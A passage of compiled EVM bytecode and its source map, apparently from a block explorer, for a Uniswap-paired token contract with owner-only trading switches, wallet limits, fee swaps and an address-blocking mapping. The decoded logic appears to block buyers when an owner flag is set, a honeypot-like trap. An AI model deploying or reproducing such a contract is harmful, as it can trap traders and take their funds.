03168252810191909152604001600020805460ff191691151591909117905561065881611698565b90506105fd565b505050565b6060600280546104cd9061165d565b6000806106826002603c611627565b600b5461068f9042611646565b6106999190611605565b9050806106a857505060095490565b80600a546106b69190611627565b6009546106c391906115ed565b91505090565b600c546001600160a01b031633146106e057600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461070a57600080fd5b60005b825181101561065f57816006600085848151811061072d5761072d6116c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561076881611698565b905061070d565b600061055d338484610b7d565b600c546001600160a01b0316331461079357600080fd5b6005546001600160a01b0316156107a957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108309190611324565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088c57600080fd5b505afa1580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c49190611324565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109449190611324565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3c91906114f9565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610a7790600190611627565b610a819190611605565b600a5550565b600c546001600160a01b03163314610a9e57600080fd5b6005805460ff60a01b1916600160a01b1790556008805460ff19166001179055565b600c546001600160a01b03163314610ad757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b1057600080fd5b610b1981610e6b565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bbf57506001600160a01b03821660009081526006602052604090205460ff16155b610bc857600080fd5b6005546001600160a01b038481169116148015610bfe57506001600160a01b03821660009081526007602052604090205460ff16155b15610cf4576000610c116002603c611627565b600b54610c1e9042611646565b610c289190611605565b90508015610c66576000546009541015610c615780600a54610c4a9190611627565b60096000828254610c5b91906115ed565b90915550505b42600b555b600554600160a01b900460ff16610c7c57600080fd5b60085460ff16610cb8576009546001600160a01b038416600090815260036020526040902054610cad9084906115ed565b1115610cb857600080fd5b60085460ff1615610ce7576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610cf082610e8c565b9150505b600854610100900460ff16158015610d1657506005546001600160a01b031615155b8015610d2f57506005546001600160a01b038381169116145b15610e2257610d3e8184610ed6565b306000908152600360205260409020549091508015610e205760006064610d64600e5490565b6005546001600160a01b0316600090815260036020526040902054610d899190611627565b610d939190611605565b905080821115610df7576000818303905081925080600080828254610db89190611646565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e05856002611627565b905080821115610e13578091505b610e1c82610fbd565b5050505b505b61065f838383611179565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e67573d6000803e3d6000fd5b5050565b6103e860005482610e7c9190611627565b610e869190611605565b60095550565b600080610e9a600d84611605565b9050610ea68184611646565b30600090815260036020526040812080549295508392909190610eca9084906115ed565b90915550929392505050565b600080610ee4600e85611605565b90506000610ef185611230565b9050610efd81836115ed565b610f079086611646565b9450610f1381836115ed565b6001600160a01b03851660009081526003602052604081208054909190610f3b908490611646565b90915550503060009081526003602052604081208054849290610f5f9084906115ed565b9250508190555080600080828254610f779190611646565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611001576110016116c9565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106e57600080fd5b505afa158015611082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a69190611324565b816001815181106110b9576110b96116c9565b60200260200101906001600160a01b031690816001600160a01b0316815250506110f830737a250d5630b4cf539739df2c5dacb4c659f2488d84610b1c565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061113890859060009086903090429060040161157c565b600060405180830381600087803b15801561115257600080fd5b505af1158015611166573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561119f57600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111d69084906115ed565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122291815260200190565b60405180910390a350505050565b6005546001600160a01b031660009081526003602052604081205481611257606483611605565b90508084116112735761126b601485611605565b949350505050565b6000611280600a84611605565b9050808511156112aa576064611297866023611627565b6112a19190611605565b95945050505050565b60646112b68383611646565b866112c18582611646565b6112cc906023611627565b6112d69190611627565b6112979190611605565b80356112eb816116f5565b919050565b803580151581146112eb57600080fd5b60006020828403121561131257600080fd5b813561131d816116f5565b9392505050565b60006020828403121561133657600080fd5b815161131d816116f5565b6000806040838503121561135457600080fd5b823561135f816116f5565b9150602083013561136f816116f5565b809150509250929050565b60008060006060848603121561138f57600080fd5b833561139a816116f5565b925060208401356113aa816116f5565b929592945050506040919091013590565b600080604083850312156113ce57600080fd5b82356113d9816116f5565b946020939093013593505050565b600080604083850312156113fa57600080fd5b823567ffffffffffffffff8082111561141257600080fd5b818501915085601f83011261142657600080fd5b813560208282111561143a5761143a6116df565b8160051b604051601f19603f8301168101818110868211171561145f5761145f6116df565b604052838152828101945085830182870184018b101561147e57600080fd5b600096505b848710156114a857611494816112e0565b865260019690960195948301948301611483565b5096506114b890508782016112f0565b9450505050509250929050565b6000602082840312156114d757600080fd5b61131d826112f0565b6000602082840312156114f257600080fd5b5035919050565b60008060006060848603121561150e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561155457858101830151858201604001528201611538565b81811115611566576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cc5784516001600160a01b0316835293830193918301916001016115a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611600576116006116b3565b500190565b60008261162257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611641576116416116b3565b500290565b600082821015611658576116586116b3565b500390565b600181811c9082168061167157607f821691505b6020821081141561169257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156116ac576116ac6116b3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1957600080fdfea26469706673582212204166057a1b0d0dcb624fa0ce8547aca308585a0627976ba2901a44fa27aca84f64736f6c63430008070033

Deployed Bytecode Sourcemap

155:1036:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:85:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2719:193;;;;;;;;;;-1:-1:-1;2719:193:0;;;;;:::i;:::-;;:::i;:::-;;;5182:14:4;;5175:22;5157:41;;5145:2;5130:18;2719:193:0;5017:187:4;522:25:2;;;;;;;;;;-1:-1:-1;522:25:2;;;;-1:-1:-1;;;522:25:2;;;;;;1557:102:0;;;;;;;;;;-1:-1:-1;1612:7:0;1639:12;1557:102;;;5957:25:4;;;5945:2;5930:18;1557:102:0;5811:177:4;3148:438:0;;;;;;;;;;-1:-1:-1;3148:438:0;;;;;:::i;:::-;;:::i;1464:85::-;;;;;;;;;;-1:-1:-1;1464:85:0;;1011:2;7120:36:4;;7108:2;7093:18;1464:85:0;6978:184:4;554:37:2;;;;;;;;;;-1:-1:-1;554:37:2;;;;;:::i;:::-;;;;;;;;;;;;;;;;7628:80;;;;;;;;;;;;;:::i;:::-;;487:28;;;;;;;;;;-1:-1:-1;487:28:2;;;;-1:-1:-1;;;;;487:28:2;;;;;;-1:-1:-1;;;;;4052:32:4;;;4034:51;;4022:2;4007:18;487:28:2;3888:203:4;656:185:3;;;;;;;;;;-1:-1:-1;656:185:3;;;;;:::i;:::-;;:::i;7133:238:2:-;;;;;;;;;;-1:-1:-1;7133:238:2;;;;;:::i;:::-;;:::i;1667:160:0:-;;;;;;;;;;-1:-1:-1;1667:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;1801:18:0;1769:7;1801:18;;;:9;:18;;;;;;;1667:160;698:21:2;;;;;;;;;;;;;;;;1367:89:0;;;;;;;;;;;;;:::i;6024:302:2:-;;;;;;;;;;;;;:::i;975:28::-;;;;;;;;;;;;;;;;7526:94;;;;;;;;;;-1:-1:-1;7526:94:2;;;;;:::i;:::-;;:::i;6933:192::-;;;;;;;;;;-1:-1:-1;6933:192:2;;;;;:::i;:::-;;:::i;1835:199:0:-;;;;;;;;;;-1:-1:-1;1835:199:0;;;;;:::i;:::-;;:::i;903:35:2:-;;;;;;;;;;;;;;;;1418:843;;;;;;;;;;;;;:::i;2525:186:0:-;;;;;;;;;;-1:-1:-1;2525:186:0;;;;;:::i;:::-;-1:-1:-1;;;;;2676:18:0;;;2644:7;2676:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2525:186;7379:139:2;;;;;;;;;;;;;:::i;1088:100:3:-;;;;;;;;;;-1:-1:-1;1088:100:3;;;;;:::i;:::-;;:::i;5806:93:2:-;;;;;;;;;;-1:-1:-1;5806:93:2;;;;;:::i;:::-;;:::i;1274:85:0:-;1313:13;1346:5;1339:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:85;:::o;2719:193::-;2823:4;2845:37;2854:10;2866:7;2875:6;2845:8;:37::i;:::-;-1:-1:-1;2900:4:0;2719:193;;;;:::o;3148:438::-;3282:4;3299:36;3309:6;3317:9;3328:6;3299:9;:36::i;:::-;-1:-1:-1;;;;;3375:19:0;;3348:24;3375:19;;;:11;:19;;;;;;;;3395:10;3375:31;;;;;;;;3425:26;;;;3417:35;;;;;;3488:55;3497:6;3505:10;3536:6;3517:16;:25;3488:8;:55::i;:::-;-1:-1:-1;3574:4:0;;3148:438;-1:-1:-1;;;;3148:438:0:o;7628:80:2:-;7668:32;7678:21;7668:9;:32::i;:::-;7628:80::o;656:185:3:-;1066:6;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;781:27:3::1;:52:::0;656:185::o;7133:238:2:-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;7257:9:::1;7252:112;7276:8;:15;7272:1;:19;7252:112;;;7347:5;7313:18;:31;7332:8;7341:1;7332:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7313:31:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7313:31:2;:39;;-1:-1:-1;;7313:39:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7293:3:::1;::::0;::::1;:::i;:::-;;;7252:112;;;;7133:238:::0;;:::o;1367:89:0:-;1408:13;1441:7;1434:14;;;;;:::i;6024:302:2:-;6068:7;;6163:39;775:1;6193:9;6163:39;:::i;:::-;6132:13;;6114:31;;:15;:31;:::i;:::-;6113:90;;;;:::i;:::-;6088:115;-1:-1:-1;6218:19:2;6214:38;;-1:-1:-1;;6246:6:2;;;6024:302::o;6214:38::-;6304:14;6281:20;;:37;;;;:::i;:::-;6272:6;;:46;;;;:::i;:::-;6265:53;;;6024:302;:::o;7526:94::-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;7592:12:::1;:20:::0;;-1:-1:-1;;7592:20:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7526:94::o;6933:192::-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;7024:9:::1;7019:99;7043:8;:15;7039:1;:19;7019:99;;;7101:5;7080;:18;7086:8;7095:1;7086:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7080:18:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7080:18:2;:26;;-1:-1:-1;;7080:26:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7060:3:::1;::::0;::::1;:::i;:::-;;;7019:99;;1835:199:0::0;1942:4;1964:40;1974:10;1986:9;1997:6;1964:9;:40::i;1418:843:2:-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;1479:13:::1;::::0;-1:-1:-1;;;;;1479:13:2::1;:27:::0;1471:36:::1;;;::::0;::::1;;1518:12;437:42;-1:-1:-1::0;;;;;1551:24:2::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;1533:56:2::1;;1612:4;437:42;-1:-1:-1::0;;;;;1632:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1533:133;::::0;-1:-1:-1;;;;;;1533:133:2::1;::::0;;;;;;-1:-1:-1;;;;;4326:15:4;;;1533:133:2::1;::::0;::::1;4308:34:4::0;4378:15;;4358:18;;;4351:43;4243:18;;1533:133:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1704:12;::::0;;1695:4:::1;1677:24:::0;;;:9:::1;:24;::::0;;;;;;;:39;;;1727:11:::1;:26:::0;;;;;;437:42:::1;1727:53:::0;;;;;;;;;:68;;;;-1:-1:-1;;;;;1806:24:2;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;1806:31:2::1;1833:4;1806:31;::::0;;1953:12;;1848:215;;-1:-1:-1;;;1848:215:2;;;;::::1;4746:34:4::0;;;;4796:18;;;4789:34;;;;4839:18;;;4832:34;;;4882:18;;;4875:34;;;;2012:10:2::1;4925:19:4::0;;;4918:44;2037:15:2::1;4978:19:4::0;;;4971:35;1806:24:2;;-1:-1:-1;1848:32:2::1;::::0;1888:21:::1;::::0;4680:19:4;;1848:215:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;2076:13:2::1;:20:::0;;-1:-1:-1;;;;;;2107:20:2;-1:-1:-1;;;;;2076:20:2;::::1;2107::::0;-1:-1:-1;;;2107:20:2::1;::::0;;-1:-1:-1;2156:15:2::1;2140:13;:31:::0;2076:13:::1;2206:12:::0;2249:4:::1;::::0;2206:39:::1;::::0;2076:20;;2206:39:::1;:::i;:::-;2205:48;;;;:::i;:::-;2182:20;:71:::0;-1:-1:-1;1418:843:2:o;7379:139::-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;7460:13:::1;:20:::0;;-1:-1:-1;;;;7460:20:2::1;-1:-1:-1::0;;;7460:20:2::1;::::0;;7491:12:::1;:19:::0;;-1:-1:-1;;7491:19:2::1;7476:4;7491:19;::::0;;7379:139::o;1088:100:3:-;1066:6;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;1163:6:3::1;:17:::0;;-1:-1:-1;;;;;;1163:17:3::1;-1:-1:-1::0;;;;;1163:17:3;;;::::1;::::0;;;::::1;::::0;;1088:100::o;5806:93:2:-;1066:6:3;;-1:-1:-1;;;;;1066:6:3;1083:10:2;1055:17:3;1067:28:2;;;;;;5872:19:::1;5883:7;5872:10;:19::i;:::-;5806:93:::0;:::o;2920:220:0:-;-1:-1:-1;;;;;3048:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3100:32;;5957:25:4;;;3100:32:0;;5930:18:4;3100:32:0;;;;;;;2920:220;;;:::o;2269:2227:2:-;-1:-1:-1;;;;;2402:11:2;;;;;;:5;:11;;;;;;;;2401:12;:26;;;;-1:-1:-1;;;;;;2418:9:2;;;;;;:5;:9;;;;;;;;2417:10;2401:26;2393:35;;;;;;2469:13;;-1:-1:-1;;;;;2461:21:2;;;2469:13;;2461:21;:48;;;;-1:-1:-1;;;;;;2487:22:2;;;;;;:18;:22;;;;;;;;2486:23;2461:48;2457:680;;;2559:22;2638:39;775:1;2668:9;2638:39;:::i;:::-;2603:13;;2585:31;;:15;:31;:::i;:::-;2584:94;;;;:::i;:::-;2559:119;-1:-1:-1;2697:18:2;;2693:204;;2749:12;;2740:6;;:21;2736:95;;;2817:14;2794:20;;:37;;;;:::i;:::-;2784:6;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;2736:95:2;2866:15;2850:13;:31;2693:204;2921:13;;-1:-1:-1;;;2921:13:2;;;;2913:22;;;;;;2955:12;;;;2950:60;;3003:6;;-1:-1:-1;;;;;2977:13:2;;;;;;:9;:13;;;;;;:22;;2993:6;;2977:22;:::i;:::-;:32;;2969:41;;;;;;3053:12;;;;3049:34;;;-1:-1:-1;;;;;3067:9:2;;;;;;:5;:9;;;;;:16;;-1:-1:-1;;3067:16:2;3079:4;3067:16;;;3049:34;3107:18;3118:6;3107:10;:18::i;:::-;3098:27;;2511:626;2457:680;3171:7;;;;;;;3170:8;:39;;;;-1:-1:-1;3182:13:2;;-1:-1:-1;;;;;3182:13:2;:27;;3170:39;:62;;;;-1:-1:-1;3219:13:2;;-1:-1:-1;;;;;3213:19:2;;;3219:13;;3213:19;3170:62;3166:1122;;;3258:25;3270:6;3278:4;3258:11;:25::i;:::-;3347:4;3298:28;1801:18:0;;;:9;:18;;;;;;3249:34:2;;-1:-1:-1;3372:24:2;;3368:909;;3417:26;3529:3;3495:30;613:27:3;;;473:175;3495:30:2;3457:13;;-1:-1:-1;;;;;3457:13:2;1769:7:0;1801:18;;;:9;:18;;;;;;3447:78:2;;;;:::i;:::-;3446:86;;;;:::i;:::-;3417:115;;3578:18;3555:20;:41;3551:429;;;3621:17;3733:18;3710:20;:41;3698:53;;3820:18;3797:41;;3877:9;3861:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;3914:46:2;;5957:25:4;;;3946:1:2;;3931:4;;3914:46;;5945:2:4;5930:18;3914:46:2;;;;;;;3598:382;3551:429;4070:20;4050:17;4132:10;4136:6;4132:1;:10;:::i;:::-;4109:33;;4177:12;4165:9;:24;4161:54;;;4203:12;4191:24;;4161:54;4234:27;4251:9;4234:16;:27::i;:::-;3398:879;;;3368:909;3234:1054;3166:1122;4405:33;4421:4;4427:2;4431:6;4405:15;:33::i;849:108:3:-;918:16;;910:39;;-1:-1:-1;;;;;918:16:3;;;;910:39;;;;;945:3;;918:16;910:39;918:16;910:39;945:3;918:16;910:39;;;;;;;;;;;;;;;;;;;;;849:108;:::o;5907:109:2:-;6004:4;5988:12;;5976:9;:24;;;;:::i;:::-;5975:33;;;;:::i;:::-;5966:6;:42;-1:-1:-1;5907:109:2:o;4504:205::-;4557:7;;4591:11;4600:2;4591:6;:11;:::i;:::-;4577:25;-1:-1:-1;4622:13:2;4577:25;4622:13;;:::i;:::-;4664:4;4646:24;;;;:9;:24;;;;;:31;;4622:13;;-1:-1:-1;4674:3:2;;4646:24;;;:31;;4674:3;;4646:31;:::i;:::-;;;;-1:-1:-1;4695:6:2;;4504:205;-1:-1:-1;;;4504:205:2:o;5282:516::-;5371:7;;5435:11;5444:2;5435:6;:11;:::i;:::-;5418:28;;5465:17;5485:24;5502:6;5485:16;:24::i;:::-;5465:44;-1:-1:-1;5546:18:2;5465:44;5546:6;:18;:::i;:::-;5536:28;;;;:::i;:::-;;-1:-1:-1;5597:18:2;5606:9;5597:6;:18;:::i;:::-;-1:-1:-1;;;;;5575:18:2;;;;;;:9;:18;;;;;:40;;:18;;;:40;;;;;:::i;:::-;;;;-1:-1:-1;;5652:4:2;5634:24;;;;:9;:24;;;;;:34;;5662:6;;5634:24;:34;;5662:6;;5634:34;:::i;:::-;;;;;;;;5695:9;5679:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;5720:46:2;;5957:25:4;;;5752:1:2;;5737:4;;5720:46;;5945:2:4;5930:18;5720:46:2;;;;;;;-1:-1:-1;5784:6:2;;5282:516;-1:-1:-1;;;5282:516:2:o;6334:591::-;1157:7;:14;;-1:-1:-1;;1157:14:2;;;;;6496:16:::1;::::0;;6510:1:::1;6496:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6496:16:2::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6496:16:2::1;6472:40;;6541:4;6523;6528:1;6523:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6523:23:2::1;;;-1:-1:-1::0;;;;;6523:23:2::1;;;::::0;::::1;437:42;-1:-1:-1::0;;;;;6567:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6557:4;6562:1;6557:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;6557:33:2::1;;;-1:-1:-1::0;;;;;6557:33:2::1;;;::::0;::::1;6603:63;6620:4;437:42;6654:11;6603:8;:63::i;:::-;6705:212;::::0;-1:-1:-1;;;6705:212:2;;437:42:::1;::::0;6705:38:::1;::::0;:212:::1;::::0;6758:11;;6784:1:::1;::::0;6828:4;;6855::::1;::::0;6891:15:::1;::::0;6705:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;1194:7:2;:15;;-1:-1:-1;;1194:15:2;;;-1:-1:-1;;;;6334:591:2:o;2042:475:0:-;-1:-1:-1;;;;;2240:15:0;;2216:21;2240:15;;;:9;:15;;;;;;2274:23;;;;2266:32;;;;;;-1:-1:-1;;;;;2334:15:0;;;;;;;:9;:15;;;;;;2352:22;;;2334:40;;2396:13;;;;;;;;:23;;2368:6;;2334:15;2396:23;;2368:6;;2396:23;:::i;:::-;;;;;;;;2450:2;-1:-1:-1;;;;;2435:26:0;2444:4;-1:-1:-1;;;;;2435:26:0;;2454:6;2435:26;;;;5957:25:4;;5945:2;5930:18;;5811:177;2435:26:0;;;;;;;;2154:363;2042:475;;;:::o;4717:557:2:-;4862:13;;-1:-1:-1;;;;;4862:13:2;4782:7;4852:24;;;:9;:24;;;;;;4782:7;4902:11;4910:3;4852:24;4902:11;:::i;:::-;4887:26;;4965:4;4955:6;:14;4951:38;;4978:11;4987:2;4978:6;:11;:::i;:::-;4971:18;4717:557;-1:-1:-1;;;;4717:557:2:o;4951:38::-;5019:12;5034:10;5042:2;5034:5;:10;:::i;:::-;5019:25;;5099:4;5090:6;:13;5086:45;;;5128:3;5113:11;:6;5122:2;5113:11;:::i;:::-;5112:19;;;;:::i;:::-;5105:26;4717:557;-1:-1:-1;;;;;4717:557:2:o;5086:45::-;5263:3;5247:11;5254:4;5247;:11;:::i;:::-;5236:6;5214:13;5223:4;5236:6;5214:13;:::i;:::-;5213:20;;5231:2;5213:20;:::i;:::-;:29;;;;:::i;:::-;5212:47;;;;:::i;14:134:4:-;82:20;;111:31;82:20;111:31;:::i;:::-;14:134;;;:::o;153:160::-;218:20;;274:13;;267:21;257:32;;247:60;;303:1;300;293:12;318:247;377:6;430:2;418:9;409:7;405:23;401:32;398:52;;;446:1;443;436:12;398:52;485:9;472:23;504:31;529:5;504:31;:::i;:::-;554:5;318:247;-1:-1:-1;;;318:247:4:o;570:251::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;760:31;785:5;760:31;:::i;826:388::-;894:6;902;955:2;943:9;934:7;930:23;926:32;923:52;;;971:1;968;961:12;923:52;1010:9;997:23;1029:31;1054:5;1029:31;:::i;:::-;1079:5;-1:-1:-1;1136:2:4;1121:18;;1108:32;1149:33;1108:32;1149:33;:::i;:::-;1201:7;1191:17;;;826:388;;;;;:::o;1219:456::-;1296:6;1304;1312;1365:2;1353:9;1344:7;1340:23;1336:32;1333:52;;;1381:1;1378;1371:12;1333:52;1420:9;1407:23;1439:31;1464:5;1439:31;:::i;:::-;1489:5;-1:-1:-1;1546:2:4;1531:18;;1518:32;1559:33;1518:32;1559:33;:::i;:::-;1219:456;;1611:7;;-1:-1:-1;;;1665:2:4;1650:18;;;;1637:32;;1219:456::o;1680:315::-;1748:6;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1883:31;1908:5;1883:31;:::i;:::-;1933:5;1985:2;1970:18;;;;1957:32;;-1:-1:-1;;;1680:315:4:o;2000:1202::-;2090:6;2098;2151:2;2139:9;2130:7;2126:23;2122:32;2119:52;;;2167:1;2164;2157:12;2119:52;2207:9;2194:23;2236:18;2277:2;2269:6;2266:14;2263:34;;;2293:1;2290;2283:12;2263:34;2331:6;2320:9;2316:22;2306:32;;2376:7;2369:4;2365:2;2361:13;2357:27;2347:55;;2398:1;2395;2388:12;2347:55;2434:2;2421:16;2456:4;2479:2;2475;2472:10;2469:36;;;2485:18;;:::i;:::-;2531:2;2528:1;2524:10;2563:2;2557:9;2626:2;2622:7;2617:2;2613;2609:11;2605:25;2597:6;2593:38;2681:6;2669:10;2666:22;2661:2;2649:10;2646:18;2643:46;2640:72;;;2692:18;;:::i;:::-;2728:2;2721:22;2778:18;;;2812:15;;;;-1:-1:-1;2847:11:4;;;2877;;;2873:20;;2870:33;-1:-1:-1;2867:53:4;;;2916:1;2913;2906:12;2867:53;2938:1;2929:10;;2948:169;2962:2;2959:1;2956:9;2948:169;;;3019:23;3038:3;3019:23;:::i;:::-;3007:36;;2980:1;2973:9;;;;;3063:12;;;;3095;;2948:169;;;-1:-1:-1;3136:6:4;-1:-1:-1;3161:35:4;;-1:-1:-1;3177:18:4;;;3161:35;:::i;:::-;3151:45;;;;;;2000:1202;;;;;:::o;3207:180::-;3263:6;3316:2;3304:9;3295:7;3291:23;3287:32;3284:52;;;3332:1;3329;3322:12;3284:52;3355:26;3371:9;3355:26;:::i;3392:180::-;3451:6;3504:2;3492:9;3483:7;3479:23;3475:32;3472:52;;;3520:1;3517;3510:12;3472:52;-1:-1:-1;3543:23:4;;3392:180;-1:-1:-1;3392:180:4:o;3577:306::-;3665:6;3673;3681;3734:2;3722:9;3713:7;3709:23;3705:32;3702:52;;;3750:1;3747;3740:12;3702:52;3779:9;3773:16;3763:26;;3829:2;3818:9;3814:18;3808:25;3798:35;;3873:2;3862:9;3858:18;3852:25;3842:35;;3577:306;;;;;:::o;5209:597::-;5321:4;5350:2;5379;5368:9;5361:21;5411:6;5405:13;5454:6;5449:2;5438:9;5434:18;5427:34;5479:1;5489:140;5503:6;5500:1;5497:13;5489:140;;;5598:14;;;5594:23;;5588:30;5564:17;;;5583:2;5560:26;5553:66;5518:10;;5489:140;;;5647:6;5644:1;5641:13;5638:91;;;5717:1;5712:2;5703:6;5692:9;5688:22;5684:31;5677:42;5638:91;-1:-1:-1;5790:2:4;5769:15;-1:-1:-1;;5765:29:4;5750:45;;;;5797:2;5746:54;;5209:597;-1:-1:-1;;;5209:597:4:o;5993:980::-;6255:4;6303:3;6292:9;6288:19;6334:6;6323:9;6316:25;6360:2;6398:6;6393:2;6382:9;6378:18;6371:34;6441:3;6436:2;6425:9;6421:18;6414:31;6465:6;6500;6494:13;6531:6;6523;6516:22;6569:3;6558:9;6554:19;6547:26;;6608:2;6600:6;6596:15;6582:29;;6629:1;6639:195;6653:6;6650:1;6647:13;6639:195;;;6718:13;;-1:-1:-1;;;;;6714:39:4;6702:52;;6809:15;;;;6774:12;;;;6750:1;6668:9;6639:195;;;-1:-1:-1;;;;;;;6890:32:4;;;;6885:2;6870:18;;6863:60;-1:-1:-1;;;6954:3:4;6939:19;6932:35;6851:3;5993:980;-1:-1:-1;;;5993:980:4:o;7167:128::-;7207:3;7238:1;7234:6;7231:1;7228:13;7225:39;;;7244:18;;:::i;:::-;-1:-1:-1;7280:9:4;;7167:128::o;7300:217::-;7340:1;7366;7356:132;;7410:10;7405:3;7401:20;7398:1;7391:31;7445:4;7442:1;